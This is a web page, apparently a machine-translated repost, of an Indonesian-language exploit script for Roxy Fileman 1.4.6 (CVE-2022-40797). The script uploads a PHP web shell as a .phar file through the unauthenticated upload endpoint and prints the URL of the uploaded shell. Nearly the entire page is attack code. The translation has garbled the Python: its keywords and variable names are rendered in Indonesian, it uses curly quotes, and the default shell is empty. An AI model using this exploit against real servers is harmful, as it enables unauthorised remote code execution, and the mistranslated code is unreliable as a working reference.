Roxy Fileman 1.4.6 Pengunggahan Shell Jarak Jauh

  • Whatsapp
Backdoor.Win32.Fantador Insecure Password Storage
BackdoorWinFantador Insecure Password Storage

News.nextcloud.asia

# Judul Eksploitasi: Roxy Fileman <= 1.4.6 Pengunggahan File Sewenang-wenang (Tidak Diatentikasi)
# Tanggal: 11/12/2022
# Eksploitasi Pengarang : Hadi Mene <[email protected]>
# Beranda Vendor: roxyfileman.com
# Tautan Perangkat Lunak: https://web.archive.org/web/20210126213412/https://roxyfileman.com/download.php?f=1.4.6-php
# Versi: <= 1.4.6
# Diuji pada: Ubuntu 18.04
# CVE : CVE-2022-40797

# https://nvd.nist.gov/vuln/detail/CVE-2022-40797

permintaan impor
dari optparse impor OptionParser
dari os.path mengimpor nama dasar

banner=”################################################ ##\n”
banner += ‘# Roxy Fileman <= 1.4.6 Pengunggahan File Sewenang-wenang #\n'
spanduk += ‘#\t\t\t\t\t\t#\n’
spanduk += ‘#\tCVE-2022-40797 mengeksploitasi kode\t\t#\n’
spanduk += ‘#\t\t\t\t\t\t#\n’
spanduk += ‘#\t\t\t\t\t\t#\n’
banner += ‘# Penulis : Hadi Mene <[email protected]>\t#\n’
spanduk += ‘#\t\t\t\t\t\t#\n’
spanduk += ‘############################################## ###\n’

parser = OptionParser()
parser.add_option(“-u”, “–url”, dest=”url”,
help=”url instalasi fileman roxy”)
parser.add_option(“-s”, “–shell”,dest=”shell”, default=False,
help=”jalur shell php jika tidak ditentukan shell defaut akan diunggah”)

(opsi, args) = parser.parse_args()

jika options.url adalah Tidak Ada:
parser.error(‘URL diperlukan, gunakan -h untuk bantuan’)

url = pilihan.url

#Tampaknya di beberapa versi aplikasi tanda ‘/’ di akhir url merusak kode eksploit
if (url.berakhir dengan(‘/’)):
url = url[:-1] # kami menghapus ‘/’ itu

webroot = options.url.split(‘/’)[3:]
webroot=”/”+ ‘/’.join(webroot)

jika (webroot.berakhir dengan(‘/’)):
webroot = webroot[:-1]

webroot = webroot+’/Unggah’

jika options.shell:
shell = buka(options.shell,’r’).read()
nama file = nama dasar (opsi.Shell)
namafile = namafile.split(‘.’)[0]

kalau tidak:
# cangkang bawaan
shell = ““
nama file=”cangkang”

tajuk = {
‘Host’: (url.split(‘/’)[2]),
‘User-Agent’: ‘Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0’,
‘Menerima’: ‘*/*’,
‘Bahasa Terima’: ‘en-US,en;q=0,5’,
‘Content-Type’: ‘multipart/form-data; batas=————————–39556237418830295983527604767’,
‘Asal’: (url.split(‘/’)[2]),
‘Koneksi’: ‘tutup’,
}

data=”—————————–39556237418830295983527604767\r\nDisposisi Konten: form-data; name=”action”\ r\n\r\nunggah\r\n—————————–39556237418830295983527604767\r\nDisposisi Konten: bentuk- data; nama=”metode”\r\n\r\najax\r\n—————————–39556237418830295983527604767\ r\nContent-Disposition: form-data; name=”d”\r\n\r\n”+(webroot)+’\r\n—————- ————-39556237418830295983527604767\r\nContent-Disposition: form-data; nama=”file[]”; namafile=”‘+(namafile)+’.phar”\r\nTipe-Konten: teks/polos\r\n\r\n’+shell+’\n\r\n——- ———————-39556237418830295983527604767–\r\n’

#Kami memeriksa apakah file dengan nama file yang sama sudah ada
#karena Roxy tidak menimpa file, melainkan mengubah nama file dari file yang baru diunggah
jika ‘href=”‘+filename+’.phar”‘ di (requests.get(url+’/Uploads/’).text):
sudah_upload = Benar
kalau tidak:
sudah_diunggah = Salah

# unggah file
req = request.post(url+’/php/upload.php’, header=header, data=data, verifikasi=False)
tanggapan = (req.teks)

cetak (spanduk)

jika ‘{“res”:”ok”,”msg”:””}’ di (tanggapan):
# kesuksesan
print(‘File Berhasil Diupload!!!’)

jika sudah_diunggah:
print(‘Sebuah file dengan nama file yang sama sudah ada di server..’)
print(‘URL: ‘+url+’/Unggah/’+(namafile)+’ – Salin X.phar ‘)

kalau tidak:
print(‘URL: ‘+url+’/Unggah/’+(namafile)+’.phar’)

kalau tidak:
# kegagalan
print(‘Unggahan Shell Gagal :((( ‘)
cetak(tanggapan) #debug

Pos terkait

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *